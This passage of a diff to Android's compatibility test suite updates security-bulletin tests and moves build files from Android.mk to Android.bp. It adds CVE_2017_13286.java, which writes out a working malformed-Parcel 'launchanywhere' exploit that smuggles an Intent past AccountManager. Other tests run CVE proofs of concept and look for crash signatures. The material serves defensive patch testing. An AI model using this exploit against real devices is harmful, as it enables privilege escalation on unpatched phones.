-        AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-
-         AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
-                                 "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
-        Thread.sleep(10000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
-                "[\\s\\n\\S]*>>> /system/bin/" +
-                "mediaserver <<<[\\s\\n\\S]*", logcat);
-
-        //make sure the app is uninstalled after the test
-        AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index d1c42da..bb18b0d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
@@ -28,7 +29,7 @@
         AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*fail: encountered same random values![\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("fail: encountered same random values!", logcat);
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 27ded73..e2e5134 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -27,7 +27,7 @@
       AdbUtils.runCommandLine("logcat -c", getDevice());
       AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
       String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
+      assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
   }
 
    /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 0956581..0239883 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -66,8 +66,8 @@
     public void testPocCVE_2017_0334() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
            String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
-           assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
-               +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+           assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
+               +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
         }
     }
 
@@ -79,8 +79,8 @@
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
         String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<.*", logcatOut);
+        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
+                         "audioserver <<<", logcatOut);
     }
 
     /*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index ae83bcb..248e257 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -47,7 +47,7 @@
   @SecurityTest(minPatchLevel = "2017-04")
   public void testPocCVE_2016_10229() throws Exception {
     String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
-    assertNotMatchesMultiLine(".*OVERWRITE.*", out);
+    assertNotMatchesMultiLine("OVERWRITE", out);
   }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 87f6fde..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-
-    /**
-     *  b/34277115
-     */
-    @SecurityTest(minPatchLevel = "2017-05")
-    public void testPocCVE_2017_0630() throws Exception {
-        if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
-          String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
-                                                         "/printk_formats", getDevice());
-          assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index cdeec39..e1c4977 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -34,8 +34,8 @@
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
         String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
                          "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+                         "mediaserver <<<", logcat);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 7c0936a..67becec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
   @SecurityTest(minPatchLevel = "2017-12")
   public void testPocCVE_2017_6262() throws Exception {
     if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
+      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
     }
   }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index a4eb539..c9f48f9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -46,7 +46,7 @@
             AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
             String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
                               getDevice());
-            assertNotMatches("[\\s\\n\\S]*CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+            assertNotMatchesMultiLine("CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
                  "Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
         }
         AdbUtils.runCommandLine("setenforce 1",getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index a8af91a..4bf7b80 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -26,6 +26,6 @@
   @SecurityTest(minPatchLevel = "2018-03")
   public void testPocCVE_2017_13253() throws Exception {
     String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
-    assertNotMatchesMultiLine(".*OVERFLOW DETECTED.*",output);
+    assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
   }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
new file mode 100644
index 0000000..02436e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.runner.RunWith;
+
+public class Poc18_04 extends SecurityTestCase {
+    /**
+     * b/69683251
+     * Does not require root but must be a hostside test to avoid
+     * a race condition
+     */
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13286() throws Exception {
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 4d8d73b..9595d5a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -30,6 +30,6 @@
        AdbUtils.runCommandLine("logcat -c" , getDevice());
        AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
        String result = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatches("[\\s\\n\\S]*Fatal signal [\\s\\n\\S]*", result);
+       assertNotMatchesMultiLine("Fatal signal", result);
      }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..9e50e1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+import static org.junit.Assert.*;
+
+@SecurityTest
+public class Poc18_11 extends SecurityTestCase {
+
+    /**
+     *  b/111330641
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9525() throws Exception {
+        assertTrue(AdbUtils.runCommandGetExitCode(
+                "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
new file mode 100644
index 0000000..752b06d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13286.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.launchanywhere;
+
+import com.android.security.cts.launchanywhere.IGenerateMalformedParcel;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13286 implements IGenerateMalformedParcel {
+    @Override
+    public Parcel generate(Intent intent) {
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts." +
+                "IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        data.writeString("launchanywhere");
+        data.writeInt(4);
+        data.writeString("android.hardware.camera2.params.OutputConfiguration");
+        data.writeInt(0);
+        data.writeInt(1);
+        data.writeInt(2);
+        data.writeInt(3);
+        data.writeInt(4);
+        data.writeInt(5);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(13);
+
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0xffffffff);
+        int byteArrayStartPos = data.dataPosition();
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeInt(0);
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+
+        return data;
+    }
+}
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
new file mode 100644
index 0000000..3c1cdfa
--- /dev/null
+++ b/hostsidetests/statsd/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsStatsdHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+    ],
+}
diff --git a/hostsidetests/statsd/Android.mk b/hostsidetests/statsd/Android.mk
deleted file mode 100644
index 0be6af6..0000000
--- a/hostsidetests/statsd/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsStatsdHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full platformprotos
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/apps/Android.mk b/hostsidetests/statsd/apps/Android.mk
deleted file mode 100644
index 4a74e80..0000000
--- a/hostsidetests/statsd/apps/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
new file mode 100644
index 0000000..bf3a684
--- /dev/null
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStatsdApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "org.apache.http.legacy",
+    ],
+    privileged: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.rules",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
deleted file mode 100644
index 5701bd5..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsStatsdApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit org.apache.http.legacy
-
-LOCAL_PRIVILEGED_MODULE := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4 \
-    androidx.test.rules \
-    statsdprotolite
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/tzdata/OWNERS b/hostsidetests/tzdata/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/hostsidetests/tzdata/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index b2c65d5..e86809b 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -137,14 +137,13 @@
     }
 
     /**
-     * Test the real base files exist in the expected locations - tzcdatacheck relies on some of
-     * them via a command line argument hardcoded in system/core/rootdir/init.rc.
+     * Test the base file used by tzdatacheck exists in the expected location - tzcdatacheck relies
+     * on this file to determine the version of tzdata on device. The path is passed to tzdatacheck
+     * via a command line argument hardcoded in system/core/rootdir/init.rc.
      */
     public void testExpectedBaseFilesExist() throws Exception {
-        String baseTzFilesDir = "/apex/com.android.runtime/etc/tz/";
+        String baseTzFilesDir = "/apex/com.android.tzdata/etc/tz/";
         assertDeviceFileExists(baseTzFilesDir + "tz_version");
-        assertDeviceFileExists(baseTzFilesDir + "tzdata");
-        assertDeviceFileExists(baseTzFilesDir + "tzlookup.xml");
     }
 
     public void testTooFewArgs() throws Exception {
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 14d829c..001590d 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -944,7 +944,6 @@
                     }
                     return;
                 } catch (IOException e) {
-                    Log.w(TAG, e);
                     if (--retry == 0) {
                         throw e;
                     }
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
new file mode 100644
index 0000000..1320dc2
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsJobSchedulerSharedUidTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: [
+        "src/**/*.java",
+        "JobSharedUidTestApp/src/**/*.java",
+        "jobperm/src/**/*.java",
+        "shareduid/src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    //sdk_version: "current"
+    platform_apis: true,
+
+}
diff --git a/tests/JobSchedulerSharedUid/Android.mk b/tests/JobSchedulerSharedUid/Android.mk
deleted file mode 100755
index 0b9912c..0000000
--- a/tests/JobSchedulerSharedUid/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SRC_FILES += $(call all-java-files-under, JobSharedUidTestApp/src)
-LOCAL_SRC_FILES += $(call all-java-files-under, jobperm/src)
-LOCAL_SRC_FILES += $(call all-java-files-under, shareduid/src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUidTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
new file mode 100644
index 0000000..6ff76da
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobSharedUidTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
deleted file mode 100644
index f3d36db..0000000
--- a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSharedUidTestApp
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.bp b/tests/JobSchedulerSharedUid/jobperm/Android.bp
new file mode 100644
index 0000000..9ac380c
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobSchedulerJobPerm",
+    defaults: ["cts_defaults"],
+    static_libs: ["compatibility-device-util-axt"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.mk b/tests/JobSchedulerSharedUid/jobperm/Android.mk
deleted file mode 100644
index 44ecdf3..0000000
--- a/tests/JobSchedulerSharedUid/jobperm/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
